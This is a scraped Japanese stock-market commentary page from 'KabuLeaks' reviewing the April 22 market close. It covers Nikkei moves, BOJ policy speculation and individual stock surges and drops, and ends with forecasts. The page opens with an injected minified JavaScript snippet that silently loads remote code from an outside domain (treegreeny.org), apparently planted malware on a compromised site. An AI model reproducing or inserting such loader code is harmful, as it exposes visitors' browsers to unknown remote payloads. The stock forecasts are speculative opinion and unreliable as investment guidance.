;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/22 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/22 大引け】

本日の日経平均株価は208円高と4日続伸。後場の日経平均は週末要因など意識され売り先行で始まったものの、日銀は金融機関に対する貸し出しに対し、マイナス金利を適用することを検討する案が浮上しているとの一部報道からプラス転換すると急速に上げ幅を拡大、為替は110円台を付け高値引けとなった。業種別では、銀行業、証券商品先物、海運業が値上がり率上位に。一方で、電気・ガス業、その他製品などガ値下がり率上位となった。

個別では、久々にZMP、自動運転関連の位置づけの【8462】フューチャーベンチャーキャピタル。武田薬品への新規化合物の薬効評価許諾に関する契約締結から【4579】ラクオリア創薬がストップ高となった。また、『G7香川・高松情報通信大臣会合』でテレビ字幕翻訳システムを展示を材料視の【6731】ピクセラやデジタル教科書関連の【3393】スターティアが急伸、大幅高となった。一方、引き続き燃費不正問題から【7211三菱自動車工業。直近の上昇から過熱感が漂っていたバイオ株、【4594】グリーンペプタイドや【4582】シンバイオ創薬が急落、大幅安となった。

人気のテーマ株からはバイオ関連、増担規制が重しとなる可能性もあった【4565】そーせいグループは前場売りが優勢もも後場切り返し節目の25000円手前まで上昇。押し目での買い意欲は他の銘柄と比べ群を抜いており、大相場はへの期待引き続き高いようだ。また、Home IoTでこの数日人気を集める【7527】システムソフト。これも人気は高く個人も触りやすい小型株とあり人気を集め2連続ストップ高からの本日大幅上昇。これも週明け以降も乱高下しつつ、新値を取りにいく可能性は高いと思われる。

来週は27、28日に開催する金融政策決定会合。既に追加緩和への思惑も状況となっており、また、為替も本日の一部報道から110円台乗せと会合へ向けこのラインはキープ。会合の結果が分かるまでは相場全体的に底堅く推移すると思われる。